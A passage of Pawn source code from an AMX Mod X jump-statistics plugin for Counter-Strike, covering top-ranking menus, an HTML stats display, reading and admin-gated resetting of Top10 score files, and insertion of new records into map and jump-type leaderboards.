			len = format(MenuBody, 511, "\yFull total top stats \r1/1^n");
			if( top_distance[9] )
			{
				display_full_top_stats_menu(id, toptype, 1);
				return;
			}
			
			new limit;
			for( limit = INFO_ZERO; limit < NSHOW; limit++ )
			{
				if( !top_distance[limit] )
					break;
			}
			
			if( limit == 1 )
			{
				format( view_names[id][0], 32, top_names[0] );
				view_distance[id][0] = top_distance[0];
				view_maxspeed[id][0] = top_maxspeed[0];
				view_prestrafe[id][0] = top_prestrafe[0];
				view_strafes[id][0] = top_strafes[0];
				view_sync[id][0] = top_sync[0];
				format( view_type[id][0], 4, top_type[0] );
				format( view_pretype[id][0], 31, top_pretype[0] );
				len += format(MenuBody[len], 511-len, "^n\r1. \y1. \w%s \r%d \d%s", view_names[id][0], (view_distance[id][0]/1000000), view_type[id][0]);
				keys = (1<<0);
			}
			else
			{
				for( i = INFO_ZERO; i < limit; i++ )
				{
					format( view_names[id][i], 32, top_names[i] );
					view_distance[id][i] = top_distance[i];
					view_maxspeed[id][i] = top_maxspeed[i];
					view_prestrafe[id][i] = top_prestrafe[i];
					view_strafes[id][i] = top_strafes[i];
					view_sync[id][i] = top_sync[i];
					format( view_type[id][i], 4, top_type[i] );
					format( view_pretype[id][i], 31, top_pretype[i] );
					len += format(MenuBody[len], 511-len, "^n\r%d. \y%d. \w%s \r%d \d%s", (i+1), (i+1), view_names[id][i], (view_distance[id][i]/1000000), view_type[id][i]);
					if( i )
						keys |= (1<<i);
					else
						keys = (1<<0);
				}
			}
		}
	}
	len += format(MenuBody[len], 511-len, "^n^n\r0. \wExit");
	keys |= (1<<9);
	show_menu(id, keys, MenuBody, -1, "Full top stats");
}

public FullTopMenu_Select(id, key)
{
	new target = key, jumpschanged, nofirstjump, i, menu_continue = INFO_ONE, page = full_top_stats_selected_page[id], jumptype = full_top_stats_selected_type[id], ljtops = get_pcvar_num(kz_ljs_tops);
	key += 1;
	
	if( key == 10 )
		return PLUGIN_HANDLED;
	
	if( page == 2 )
		target += 5;
	
	if( !(get_pcvar_num(kz_ljs_enabled) && (ljtops == 2 || ljtops == 3)) )
	{
		if( !(ljtops == 2 || ljtops == 3) )
			client_print(id, print_chat, "[XJ] Tops are not valid. Tops have been disabled.");
		else
			client_print(id, print_chat, "[XJ] Tops are not valid. Plugin has been disabled.");
		return PLUGIN_HANDLED;
	}
	
	for( i = INFO_ZERO; i < 5; i++ )
	{
		if( jumptype == 3 )
		{
			if( !i && !bj_distance[i] )
			{
				nofirstjump = INFO_ONE;
				jumpschanged = INFO_ONE;
				break;
			}
			else if( !equal(view_names[id][i], bj_names[i]) 
			|| view_distance[id][i] != bj_distance[i]
			|| view_maxspeed[id][i] != bj_maxspeed[i]
			|| view_prestrafe[id][i] != bj_prestrafe[i]
			|| view_strafes[id][i] != bj_strafes[i]
			|| view_sync[id][i] != bj_sync[i]
			|| !equal(view_pretype[id][i], bj_pretype[i]) )
			{
				jumpschanged = INFO_ONE;
				break;
			}
		}
		else if( jumptype == 2 )
		{
			if( !i && !cj_distance[i] )
			{
				nofirstjump = INFO_ONE;
				jumpschanged = INFO_ONE;
				break;
			}
			else if( !equal(view_names[id][i], cj_names[i]) 
			|| view_distance[id][i] != cj_distance[i]
			|| view_maxspeed[id][i] != cj_maxspeed[i]
			|| view_prestrafe[id][i] != cj_prestrafe[i]
			|| view_strafes[id][i] != cj_strafes[i]
			|| view_sync[id][i] != cj_sync[i]
			|| !equal(view_pretype[id][i], cj_pretype[i]) )
			{
				jumpschanged = INFO_ONE;
				break;
			}
		}
		else if( jumptype )
		{
			if( !i && !lj_distance[i] )
			{
				nofirstjump = INFO_ONE;
				jumpschanged = INFO_ONE;
				break;
			}
			else if( !equal(view_names[id][i], lj_names[i]) 
			|| view_distance[id][i] != lj_distance[i]
			|| view_maxspeed[id][i] != lj_maxspeed[i]
			|| view_prestrafe[id][i] != lj_prestrafe[i]
			|| view_strafes[id][i] != lj_strafes[i]
			|| view_sync[id][i] != lj_sync[i]
			|| !equal(view_pretype[id][i], lj_pretype[i]) )
			{
				jumpschanged = INFO_ONE;
				break;
			}
		}
		else
		{
			if( !i && !top_distance[i] )
			{
				nofirstjump = INFO_ONE;
				jumpschanged = INFO_ONE;
				break;
			}
			else if( !equal(view_names[id][i], top_names[i]) 
			|| view_distance[id][i] != top_distance[i]
			|| view_maxspeed[id][i] != top_maxspeed[i]
			|| view_prestrafe[id][i] != top_prestrafe[i]
			|| view_strafes[id][i] != top_strafes[i]
			|| view_sync[id][i] != top_sync[i]
			|| !equal(view_type[id][i], top_type[i])
			|| !equal(view_pretype[id][i], top_pretype[i]) )
			{
				jumpschanged = INFO_ONE;
				break;
			}
		}
	}
	
	if( nofirstjump )
	{
		if( jumptype == 3 )
			client_print(id, print_chat, "[XJ] Bj top is not valid. Jumps have been reseted (no bjs).");
		else if( jumptype == 2 )
			client_print(id, print_chat, "[XJ] Cj top is not valid. Jumps have been reseted (no cjs).");
		else if( jumptype )
			client_print(id, print_chat, "[XJ] Lj top is not valid. Jumps have been reseted (no ljs).");
		else
			client_print(id, print_chat, "[XJ] Tops are not valid. Jumps have been reseted (no jumps).");
		menu_continue = INFO_ZERO;
	}
	else if( page && key == 9 )
	{
		if( page == 2 )
			full_top_stats_selected_page[id] = 0;
		else if( jumpschanged )
		{
			if( jumptype == 3 )
				client_print(id, print_chat, "[XJ] First 5 bjs have been changed. You are redirected to menu start.");
			else if( jumptype == 2 )
				client_print(id, print_chat, "[XJ] First 5 cjs have been changed. You are redirected to menu start.");
			else if( jumptype )
				client_print(id, print_chat, "[XJ] First 5 ljs have been changed. You are redirected to menu start.");
			else
				client_print(id, print_chat, "[XJ] First 5 jumps have been changed. You are redirected to menu start.");
			full_top_stats_selected_page[id] = 0;
		}
		else
		{
			if( jumptype == 3 && bj_distance[9] )
				full_top_stats_selected_page[id] = 2;
			else if( jumptype == 2 && cj_distance[9] )
				full_top_stats_selected_page[id] = 2;
			else if( jumptype && lj_distance[9] )
				full_top_stats_selected_page[id] = 2;
			else if( !jumptype && top_distance[9] )
				full_top_stats_selected_page[id] = 2;
			else
			{
				client_print(id, print_chat, "[XJ] All jumps have been changed. You are redirected to menu start.");
				full_top_stats_selected_page[id] = 0;
			}
		}
	}
	else
	{
		if( jumpschanged && page == 2 )
		{
			if( jumptype == 3 )
				client_print(id, print_chat, "[XJ] First 5 bjs have been changed. You are redirected to menu start.");
			else if( jumptype == 2 )
				client_print(id, print_chat, "[XJ] First 5 cjs have been changed. You are redirected to menu start.");
			else if( jumptype )
				client_print(id, print_chat, "[XJ] First 5 ljs have been changed. You are redirected to menu start.");
			else
				client_print(id, print_chat, "[XJ] First 5 jumps have been changed. You are redirected to menu start.");
			full_top_stats_selected_page[id] = 0;
		}
		else if( page == 2 )
		{
			if( jumptype == 3 && bj_distance[9] )
				full_top_stats_selected_page[id] = 2;
			else if( jumptype == 2 && cj_distance[9] )
				full_top_stats_selected_page[id] = 2;
			else if( jumptype && lj_distance[9] )
				full_top_stats_selected_page[id] = 2;
			else if( !jumptype && top_distance[9] )
				full_top_stats_selected_page[id] = 2;
			else
			{
				client_print(id, print_chat, "[XJ] All jumps have been changed. You are redirected to menu start.");
				full_top_stats_selected_page[id] = 0;
			}
		}
		else
			full_top_stats_selected_page[id] = 0;
	}
	
	if( !(page && key == 9) )
		show_player_stats(id, target, jumptype);
	
	if( menu_continue )
		display_full_top_stats_menu(id, jumptype, full_top_stats_selected_page[id]);
	
	return PLUGIN_HANDLED;
}

public show_player_stats(id, target, toptype)
{
	new buffer[2368], name[131], len, motdname[64];
	if( toptype == 3 )
		format(motdname, 63, "%s's bj", view_names[id][target]);
	else if( toptype == 2 )
		format(motdname, 63, "%s's cj", view_names[id][target]);
	else if( toptype )
		format(motdname, 63, "%s's lj", view_names[id][target]);
	else
		format(motdname, 63, "%s's jump", view_names[id][target]);
	
	len = format(buffer, 2367, "<body bgcolor=#94AEC6><table width=100%% cellpadding=2 cellspacing=0 border=0>");
	len += format(buffer[len], 2367-len, "<tr  align=left bgcolor=#52697B><th width=50%%> Info name <th width=50%% align=left> Value");
	
	format(name, 31, "%s", view_names[id][target]);
	while( containi(name, "<") != -1 )
		replace(name, 129, "<", "&lt;");
	while( containi(name, ">") != -1 )
		replace(name, 129, ">", "&gt;");
	
	if( toptype == 3 )
		len += format(buffer[len], 2367-len, "<tr align=left bgcolor=#A4BED6><td> Top type: <td align=left> BhopJump top");
	else if( toptype == 2 )
		len += format(buffer[len], 2367-len, "<tr align=left bgcolor=#A4BED6><td> Top type: <td align=left> CountJump top");
	else if( toptype == 1 )
		len += format(buffer[len], 2367-len, "<tr align=left bgcolor=#A4BED6><td> Top type: <td align=left> LongJump top");
	else
		len += format(buffer[len], 2367-len, "<tr align=left bgcolor=#A4BED6><td> Top type: <td align=left> Total top");
	
	len += format(buffer[len], 2367-len, "<tr align=left><td> Position: <td align=left> #%d", (target+1));
	len += format(buffer[len], 2367-len, "<tr align=left bgcolor=#A4BED6><td> Name: <td align=left> %s", name);
	len += format(buffer[len], 2367-len, "<tr align=left><td> Distance: <td align=left> %d.%06d", (view_distance[id][target]/1000000), (view_distance[id][target]%1000000));
	len += format(buffer[len], 2367-len, "<tr align=left bgcolor=#A4BED6><td> TopSpeed: <td align=left> %d.%06d", (view_maxspeed[id][target]/1000000), (view_maxspeed[id][target]%1000000));
	len += format(buffer[len], 2367-len, "<tr align=left><td> PreStrafe: <td align=left> %d.%06d", (view_prestrafe[id][target]/1000000), (view_prestrafe[id][target]%1000000));
	len += format(buffer[len], 2367-len, "<tr align=left bgcolor=#A4BED6><td> Strafes: <td align=left> %d", view_strafes[id][target]);
	len += format(buffer[len], 2367-len, "<tr align=left><td> Sync: <td align=left> %d", view_sync[id][target]);
	len += format(buffer[len], 2367-len, "<tr align=left bgcolor=#A4BED6><td> PreType: <td align=left> %s", view_pretype[id][target]);
	
	if( !toptype ) //TODO bhop?
		len += format(buffer[len], 2367-len, "<tr align=left><td> Jump Type: <td align=left> %s", (equal(view_type[id][target], "cj")) ? "CountJump" : "LongJump");
	
	len += format(buffer[len], 2367-len, "</table></body>");
	
	show_motd(id, buffer, motdname);
}

public cmdLjsMenu(id)
{
	new plugin_cvar = get_pcvar_num(kz_ljs_enabled);
	new ljtop_cvar = get_pcvar_num(kz_ljs_tops);
	new MenuBody[512], len, keys;
	len = format(MenuBody, 511, "\yLongJump Stats Menu^n");
	
	if( !plugin_cvar )
	{
		len += format(MenuBody[len], 511-len, "^n\r1. \dSwitch colorchat (plugin off)");
		len += format(MenuBody[len], 511-len, "^n\r2. \dSwitch ljstats (plugin off)");
		len += format(MenuBody[len], 511-len, "^n\r3. \dSwitch speed (plugin off)");
		len += format(MenuBody[len], 511-len, "^n\r4. \dView tops (plugin off)");
	}
	else
	{
		len += format(MenuBody[len], 511-len, "^n\r1. \wSwitch colorchat");
		len += format(MenuBody[len], 511-len, "^n\r2. \wSwitch ljstats");
		len += format(MenuBody[len], 511-len, "^n\r3. \wSwitch speed");
		if( (ljtop_cvar == 2 || ljtop_cvar == 3) && (map_distance[0] || lj_distance[0] || cj_distance[0] || bj_distance[0] || sbj_distance[0]) )
		{
			len += format(MenuBody[len], 511-len, "^n^n\r4. \wView tops");
			keys = (1<<0|1<<1|1<<2|1<<3);
		}
		else
		{
			if( !(map_distance[0] || lj_distance[0] || cj_distance[0] || bj_distance[0] || sbj_distance[0]) )
				len += format(MenuBody[len], 511-len, "^n\r4. \dView tops (no jumps)");
			else
				len += format(MenuBody[len], 511-len, "^n\r4. \dView tops (disabled)");
			keys = (1<<0|1<<1|1<<2);
		}
	}
	
	len += format(MenuBody[len], 511-len, "^n^n\r5. \wPrint plugin info");
	if( !plugin_cvar )
		keys = (1<<4);
	else
		keys |= (1<<4);
	
	new flags = get_user_flags(id);
	if( flags&ADMIN_MENU && (flags&ADMIN_CFG || flags&ADMIN_CVAR) )
		len += format(MenuBody[len], 511-len, "^n^n^n\rAdmin menu^n");
	
	if( flags&ADMIN_MENU )
	{
		if( flags&ADMIN_CFG )
		{
			len += format(MenuBody[len], 511-len, "^n\r6. \yServer configurations");
			keys |= (1<<5);
		}
		
		if( flags&ADMIN_CVAR )
		{
			len += format(MenuBody[len], 511-len, "^n\r7. \yOne map config");
			keys |= (1<<6);
		}
	}
	
	len += format(MenuBody[len], 511-len, "^n^n\r0. \wExit");
	keys |= (1<<9);
	
	show_menu(id, keys, MenuBody, -1, "LongJump Stats Menu");
	
	return ( (get_pcvar_num(kz_ljs_viscmds))?PLUGIN_CONTINUE:PLUGIN_HANDLED );
}

public LjsMenu_Select(id, key)
{
	switch((key+1))
	{
		case 1:
		{
			if( get_pcvar_num(kz_ljs_enabled) )
					cmdColorChat(id);
			cmdLjsMenu(id);
		}
		case 2:
		{
			if( get_pcvar_num(kz_ljs_enabled) )
				cmdLjStats(id);
			cmdLjsMenu(id);
		}
		case 3:
		{
			if( get_pcvar_num(kz_ljs_enabled) )
				cmdSpeed(id);
			cmdLjsMenu(id);
		}
		case 4:
		{
			if( get_pcvar_num(kz_ljs_enabled) )
				cmdTopMenu(id);
			else
				cmdLjsMenu(id);
		}
		case 5: cmdVersion(id);
		case 6:
		{
			if( get_user_flags(id)&ADMIN_CFG && get_user_flags(id)&ADMIN_MENU )
				ColorChat(id, RED, "[XJ] Comming soon!");
			else
				cmdLjsMenu(id);
		}
		case 7:
		{
			if( get_user_flags(id)&ADMIN_CVAR && get_user_flags(id)&ADMIN_MENU )
				ColorChat(id, BLUE, "[XJ] Comming soon!");
			else
				cmdLjsMenu(id);
		}
	}
	return PLUGIN_HANDLED;
}

public read_tops()
{
	static lj_filename[128], cj_filename[128], bj_filename[128], sbj_filename[128], wj_filename[128];
	format(lj_filename, 127, "%s/Top10_lj.dat", ljsDir);
	format(cj_filename, 127, "%s/Top10_cj.dat", ljsDir);
	format(bj_filename, 127, "%s/Top10_bj.dat", ljsDir);
	format(sbj_filename, 127, "%s/Top10_sbj.dat", ljsDir);
	format(wj_filename, 127, "%s/Top10_wj.dat", ljsDir);
	
	static distance[12], maxspeed[12], prestrafe[12], strafes[6], sync[6], line = 0, txtsize = 0, i;

	line = 0;
	if( file_exists(wj_filename) )
	{
		for( i = INFO_ZERO ; i < NTOP; i++ )
		{
			if( (line=read_file(wj_filename,line,wj_names[i],32,txtsize))!=0 )
			{
				if( (line=read_file(wj_filename,line,wj_authid[i],32,txtsize))!=0 )
				{
					if( (line=read_file(wj_filename,line,distance,11,txtsize))!=0 )
					{
						if( (line=read_file(wj_filename,line,maxspeed,11,txtsize))!=0 )
						{
							if( (line=read_file(wj_filename,line,prestrafe,11,txtsize))!=0 )
							{
								if( (line=read_file(wj_filename,line,strafes,5,txtsize))!=0 )
								{
									if( (line=read_file(wj_filename,line,sync,5,txtsize))!=0 )
									{
										if( (line=read_file(wj_filename,line,wj_pretype[i],31,txtsize))!=0 )
										{
											wj_distance[i] = str_to_num( distance );
											wj_maxspeed[i] = str_to_num( maxspeed );
											wj_prestrafe[i] = str_to_num( prestrafe );
											wj_strafes[i] = str_to_num( strafes );
											wj_sync[i] = str_to_num( sync );
										}
									}
								}
							}
						}
					}
				}
			}
			else
				break;
		}
	}

	line = 0;
	if( file_exists(lj_filename) )
	{
		for( i = INFO_ZERO ; i < NTOP; i++ )
		{
			if( (line=read_file(lj_filename,line,lj_names[i],32,txtsize))!=0 )
			{
				if( (line=read_file(lj_filename,line,lj_authid[i],32,txtsize))!=0 )
				{
					if( (line=read_file(lj_filename,line,distance,11,txtsize))!=0 )
					{
						if( (line=read_file(lj_filename,line,maxspeed,11,txtsize))!=0 )
						{
							if( (line=read_file(lj_filename,line,prestrafe,11,txtsize))!=0 )
							{
								if( (line=read_file(lj_filename,line,strafes,5,txtsize))!=0 )
								{
									if( (line=read_file(lj_filename,line,sync,5,txtsize))!=0 )
									{
										if( (line=read_file(lj_filename,line,lj_pretype[i],31,txtsize))!=0 )
										{
											lj_distance[i] = str_to_num( distance );
											lj_maxspeed[i] = str_to_num( maxspeed );
											lj_prestrafe[i] = str_to_num( prestrafe );
											lj_strafes[i] = str_to_num( strafes );
											lj_sync[i] = str_to_num( sync );
										}
									}
								}
							}
						}
					}
				}
			}
			else
				break;
		}
	}
	
	line = 0;
	if( file_exists(cj_filename) )
	{
		for( i = INFO_ZERO ; i < NTOP; i++ )
		{
			if( (line=read_file(cj_filename,line,cj_names[i],32,txtsize))!=0 )
			{
				if( (line=read_file(cj_filename,line,cj_authid[i],32,txtsize))!=0 )
				{
					if( (line=read_file(cj_filename,line,distance,11,txtsize))!=0 )
					{
						if( (line=read_file(cj_filename,line,maxspeed,11,txtsize))!=0 )
						{
							if( (line=read_file(cj_filename,line,prestrafe,11,txtsize))!=0 )
							{
								if( (line=read_file(cj_filename,line,strafes,5,txtsize))!=0 )
								{
									if( (line=read_file(cj_filename,line,sync,5,txtsize))!=0 )
									{
										if( (line=read_file(cj_filename,line,cj_pretype[i],31,txtsize))!=0 )
										{
											cj_distance[i] = str_to_num( distance );
											cj_maxspeed[i] = str_to_num( maxspeed );
											cj_prestrafe[i] = str_to_num( prestrafe );
											cj_strafes[i] = str_to_num( strafes );
											cj_sync[i] = str_to_num( sync );
										}
									}
								}
							}
						}
					}
				}
			}
			else
				break;
		}
	}
	line = 0;
	if( file_exists(bj_filename) )
	{
		for( i = INFO_ZERO ; i < NTOP; i++ )
		{
			if( (line=read_file(bj_filename,line,bj_names[i],32,txtsize))!=0 )
			{
				if( (line=read_file(bj_filename,line,bj_authid[i],32,txtsize))!=0 )
				{
					if( (line=read_file(bj_filename,line,distance,11,txtsize))!=0 )
					{
						if( (line=read_file(bj_filename,line,maxspeed,11,txtsize))!=0 )
						{
							if( (line=read_file(bj_filename,line,prestrafe,11,txtsize))!=0 )
							{
								if( (line=read_file(bj_filename,line,strafes,5,txtsize))!=0 )
								{
									if( (line=read_file(bj_filename,line,sync,5,txtsize))!=0 )
									{
										if( (line=read_file(bj_filename,line,bj_pretype[i],31,txtsize))!=0 )
										{
											bj_distance[i] = str_to_num( distance );
											bj_maxspeed[i] = str_to_num( maxspeed );
											bj_prestrafe[i] = str_to_num( prestrafe );
											bj_strafes[i] = str_to_num( strafes );
											bj_sync[i] = str_to_num( sync );
										}
									}
								}
							}
						}
					}
				}
			}
			else
				break;
		}
	}

	line = 0;
	if( file_exists(sbj_filename) )
	{
		for( i = INFO_ZERO ; i < NTOP; i++ )
		{
			if( (line=read_file(sbj_filename,line,sbj_names[i],32,txtsize))!=0 )
			{
				if( (line=read_file(sbj_filename,line,sbj_authid[i],32,txtsize))!=0 )
				{
					if( (line=read_file(sbj_filename,line,distance,11,txtsize))!=0 )
					{
						if( (line=read_file(sbj_filename,line,maxspeed,11,txtsize))!=0 )
						{
							if( (line=read_file(sbj_filename,line,prestrafe,11,txtsize))!=0 )
							{
								if( (line=read_file(sbj_filename,line,strafes,5,txtsize))!=0 )
								{
									if( (line=read_file(sbj_filename,line,sync,5,txtsize))!=0 )
									{
										if( (line=read_file(sbj_filename,line,sbj_pretype[i],31,txtsize))!=0 )
										{
											sbj_distance[i] = str_to_num( distance );
											sbj_maxspeed[i] = str_to_num( maxspeed );
											sbj_prestrafe[i] = str_to_num( prestrafe );
											sbj_strafes[i] = str_to_num( strafes );
											sbj_sync[i] = str_to_num( sync );
										}
									}
								}
							}
						}
					}
				}
			}
			else
				break;
		}
	}
	return PLUGIN_HANDLED;
}

public topreset(id)
{
	if( id == (is_dedicated_server()?0:1) || (get_user_flags(id)&ADMIN_RCON && tops_save) || (get_user_flags(id)&ADMIN_MAP && !tops_save) )
	{
		static lj_filename[128], cj_filename[128], bj_filename[128], sbj_filename[128], wj_filename[128];
		format(lj_filename, 127, "%s/Top10_lj.dat", ljsDir);
		format(cj_filename, 127, "%s/Top10_cj.dat", ljsDir);
		format(bj_filename, 127, "%s/Top10_bj.dat", ljsDir);
		format(sbj_filename, 127, "%s/Top10_sbj.dat", ljsDir);
		format(wj_filename, 127, "%s/Top10_wj.dat", ljsDir);
		
		if( file_exists(lj_filename) && tops_save )
			delete_file(lj_filename);
		if( file_exists(cj_filename) && tops_save )
			delete_file(cj_filename);
		if( file_exists(bj_filename) && tops_save )
			delete_file(bj_filename);
		if( file_exists(sbj_filename) && tops_save )
			delete_file(sbj_filename);
		if( file_exists(wj_filename) && tops_save )
			delete_file(wj_filename);
		
		static info_none[33], i;
		info_none = "";
		for( i = INFO_ZERO; i < NTOP; i++ )
		{
			format( map_names[i], 32, info_none );
			format( map_authid[i], 32, info_none );
			map_distance[i] = INFO_ZERO;
			map_maxspeed[i] = INFO_ZERO;
			map_prestrafe[i] = INFO_ZERO;
			map_strafes[i] = INFO_ZERO;
			map_sync[i] = INFO_ZERO;
			format( map_type[i], 32, info_none );
			
			format( lj_names[i], 32, info_none );
			format( lj_authid[i], 32, info_none );
			lj_distance[i] = INFO_ZERO;
			lj_maxspeed[i] = INFO_ZERO;
			lj_prestrafe[i] = INFO_ZERO;
			lj_strafes[i] = INFO_ZERO;
			lj_sync[i] = INFO_ZERO;
			
			format( cj_names[i], 32, info_none );
			format( cj_authid[i], 32, info_none );
			cj_distance[i] = INFO_ZERO;
			cj_maxspeed[i] = INFO_ZERO;
			cj_prestrafe[i] = INFO_ZERO;
			cj_strafes[i] = INFO_ZERO;
			cj_sync[i] = INFO_ZERO;

			format( bj_names[i], 32, info_none );
			format( bj_authid[i], 32, info_none );
			bj_distance[i] = INFO_ZERO;
			bj_maxspeed[i] = INFO_ZERO;
			bj_prestrafe[i] = INFO_ZERO;
			bj_strafes[i] = INFO_ZERO;
			bj_sync[i] = INFO_ZERO;

			format( sbj_names[i], 32, info_none );
			format( sbj_authid[i], 32, info_none );
			sbj_distance[i] = INFO_ZERO;
			sbj_maxspeed[i] = INFO_ZERO;
			sbj_prestrafe[i] = INFO_ZERO;
			sbj_strafes[i] = INFO_ZERO;
			sbj_sync[i] = INFO_ZERO;

			format( wj_names[i], 32, info_none );
			format( wj_authid[i], 32, info_none );
			wj_distance[i] = INFO_ZERO;
			wj_maxspeed[i] = INFO_ZERO;
			wj_prestrafe[i] = INFO_ZERO;
			wj_strafes[i] = INFO_ZERO;
			wj_sync[i] = INFO_ZERO;
		}

		static name[32], authid[32];
		name = "";
		authid = "";
		get_user_name( id, name, 31 );
		if( get_pcvar_num(kz_ljs_rank_by) == 1 )
			get_user_authid( id, authid ,31 );
		else
			get_user_ip( id, authid, 31, 1);
		
		log_amx("LjS: ^"%s<%d><%s>^" reseted ljtop", name, get_user_userid(id), authid);
		
		console_print(id, "[XJ] LongJump top and rec reseted!");
		client_print(0, print_chat, "[XJ] LongJump top and rec reseted!");
	}
	else
		console_print(id, "%L", id, "NO_ACC_COM");
	
	return PLUGIN_HANDLED;
}

public check_maintop(id, Distance, MaxAirSpeed, MaxGroundSpeed, strafes, sync, type)
{
	static jumptype[5], editional_top_n, rankby, top_num;
	rankby = get_pcvar_num(kz_ljs_rank_by);
	
	static name[33], authid[33];
	get_user_name( id, name, 32 );

	if( rankby == 1 )
		get_user_authid(id, authid ,32);
	else if( rankby == 2 )
		get_user_ip(id, authid, 32, 1);
	else
		get_user_name(id, authid, 32);

	editional_top_n = 0;
	top_num = 0;
	
	if( type == TYPE_WJ )
	{
		editional_top_n = check_wjtop(id, Distance, MaxAirSpeed, MaxGroundSpeed, strafes, sync, rankby);
		jumptype = "wj";
		if ( Distance > floatround(get_pcvar_float(kz_min_lj_c)*1000000) ) //TODO mb another cvar _c ?
		{
			top_num	= 255;
		}

		if( tops_save && editional_top_n)
		{
			save_tops(TOP_WJ);
		}
	}
	else if( type == TYPE_CJ )
	{
		editional_top_n = check_cjtop(id, Distance, MaxAirSpeed, MaxGroundSpeed, strafes, sync, rankby);
		jumptype = "cj";
		if ( Distance > floatround(get_pcvar_float(kz_min_lj_c)*1000000) )
		{
			top_num	= 255;
		}

		if( tops_save && editional_top_n)
		{
			save_tops(TOP_CJ);
		}
	}
	else if( type == TYPE_LJ || type == TYPE_HJ) //TODO: remove this after adding of hj top
	{
		editional_top_n = check_ljtop(id, Distance, MaxAirSpeed, MaxGroundSpeed, strafes, sync, rankby);
		jumptype = "lj";
		if ( Distance > floatround(get_pcvar_float(kz_min_lj_c)*1000000) )
		{
			top_num	= 255;
		}

		if( tops_save && editional_top_n)
		{
			save_tops(TOP_LJ);
		}
	}
	else if( type == TYPE_BJ )
	{
		editional_top_n = check_bjtop(id, Distance, MaxAirSpeed, MaxGroundSpeed, strafes, sync, rankby);
		jumptype = "bj";
		if ( Distance > floatround(get_pcvar_float(kz_min_bhop_c)*1000000) )
		{
			top_num	= 255;
		}

		if( tops_save && editional_top_n)
		{
			save_tops(TOP_BJ);
		}
	}
	else if( type == TYPE_SBJ )
	{
		editional_top_n = check_sbjtop(id, Distance, MaxAirSpeed, MaxGroundSpeed, strafes, sync, rankby);
		jumptype = "sbj";
		if ( Distance > floatround(get_pcvar_float(kz_min_bhop_c)*1000000) )
		{
			top_num	= 255;
		}

		if( tops_save && editional_top_n)
		{
			save_tops(TOP_SBJ);
		}
	}

	//TODO: can be deprectaed to "top_num" from "top_num == 255"
	if( top_num == 255 && Distance > map_distance[NSHOW-1] && get_pcvar_num(kz_ljs_maptop) )
	{
		top_num = 0;
		static i;
		for( i = INFO_ZERO; i < NSHOW; i++ )
		{
			if( Distance > map_distance[i] )
			{
				static pos, j;
				pos = i;
				j = 0;
				while( !equal( map_authid[pos], authid ) && pos < NSHOW-1 )
					pos++ ;
				for( j = pos; j > i; j-- )
				{
					format( map_names[j], 32, map_names[j-1] );
					format( map_authid[j], 32, map_authid[j-1] );
					map_distance[j] = map_distance[j-1];
					map_maxspeed[j] = map_maxspeed[j-1];
					map_prestrafe[j] = map_prestrafe[j-1];
					map_strafes[j] = map_strafes[j-1];
					map_sync[j] = map_sync[j-1];
					format( map_type[j], 4, map_type[j-1] );
					format( map_pretype[j], 31, map_pretype[j-1] );
				}
				
				format( map_names[i], 32, name );
				format( map_authid[i], 32, authid );
				map_distance[i] = Distance;
				map_maxspeed[i] = MaxAirSpeed;
				map_prestrafe[i] = MaxGroundSpeed;
				map_strafes[i] = strafes;
				map_sync[i] = sync;
				format( map_type[i], 4, jumptype );
				format( map_pretype[i], 31, pre_type[id] );
				top_num = i+1;
				
				break;
			}
			else if( equal( map_authid[i], authid ) )
			{
				top_num = 0;
				break;
			}
		}
	}
	else
	{
		top_num = 0;
	}

	if( (get_pcvar_num(kz_ljs_tops) == 2 || get_pcvar_num(kz_ljs_tops) == 3) )
	{
		if( top_num && editional_top_n )
		{
			if (top_num == editional_top_n)
			{
				ColorChat(0, NORMAL, "[XJ]^x04 %s^x01 now is^x04 %d^x01 in map^x04 & %s^x01 top with^x04 %d.%03d^x01 jump!", name, top_num, jumptype, (Distance/1000000), (Distance%1000000/1000));
			}
			else
			{
				ColorChat(0, NORMAL, "[XJ]^x04 %s^x01 now is^x04 %d^x01 in map top &^x04 %d^x01 in^x04 %s^x01 top with^x04 %d.%03d^x01 jump!", name, top_num, editional_top_n, jumptype, (Distance/1000000), (Distance%1000000/1000));				
			}
		}
		else if( top_num && top_num < MAPSHOW )
		{
			ColorChat(0, NORMAL, "[XJ]^x04 %s^x01 now is^x04 %d^x01 in map top with^x04 %d.%03d %s^x01 jump!", name, top_num, (Distance/1000000), (Distance%1000000), jumptype);
		}
		else if( editional_top_n && editional_top_n <= NSHOW )
		{
			ColorChat(0, NORMAL, "[XJ]^x04 %s^x01 now is^x04 %d^x01 in^x04 %s^x01 top with^x04 %d.%03d^x01 jump!", name, editional_top_n, jumptype, (Distance/1000000), (Distance%1000000));
		}
	}
}

public check_sbjtop(id, Distance, MaxAirSpeed, MaxGroundSpeed, strafes, sync, rankby)
{
	static name[32], authid[32];
	get_user_name( id, name, 31 );
	if( rankby == 1 )
		get_user_authid(id, authid ,31);
	else if( rankby == 2 )
		get_user_ip(id, authid, 31, 1);
	else
		get_user_name(id, authid, 31);
	
	if( Distance > sbj_distance[NTOP-1] )
	{
		static i;
		for( i = INFO_ZERO; i < NTOP; i++ )
		{
			if( Distance > sbj_distance[i] )
			{
				static pos, j;
				pos = i;
				j = 0;
				while( !equal( sbj_authid[pos], authid ) && pos < NTOP-1 )
					pos++ ;
				for( j = pos; j > i; j-- )
				{
					format( sbj_names[j], 32, sbj_names[j-1] );
					format( sbj_authid[j], 32, sbj_authid[j-1] );
					sbj_distance[j] = sbj_distance[j-1];
					sbj_maxspeed[j] = sbj_maxspeed[j-1];
					sbj_prestrafe[j] = sbj_prestrafe[j-1];
					sbj_strafes[j] = sbj_strafes[j-1];
					sbj_sync[j] = sbj_sync[j-1];
					format( sbj_pretype[j], 31, sbj_pretype[j-1] );
				}
				
				format( sbj_names[i], 32, name );
				format( sbj_authid[i], 32, authid );
				sbj_distance[i] = Distance;
				sbj_maxspeed[i] = MaxAirSpeed;
				sbj_prestrafe[i] = MaxGroundSpeed;
				sbj_strafes[i] = strafes;
				sbj_sync[i] = sync;
				format( sbj_pretype[i], 31, pre_type[id] );
				return (i+1);
				
			}
			else if( equal( sbj_authid[i], authid ) )
				return 0;
		}
	}
	return 0;
}

public check_wjtop(id, Distance, MaxAirSpeed, MaxGroundSpeed, strafes, sync, rankby)
{
	static name[32], authid[32];
	get_user_name( id, name, 31 );
	if( rankby == 1 )
		get_user_authid(id, authid ,31);
	else if( rankby == 2 )
		get_user_ip(id, authid, 31, 1);
	else
		get_user_name(id, authid, 31);
	
	if( Distance > wj_distance[NTOP-1] )
	{
		static i;
		for( i = INFO_ZERO; i < NTOP; i++ )
		{
			if( Distance > wj_distance[i] )
			{
				static pos, j;
				pos = i;
				j = 0;
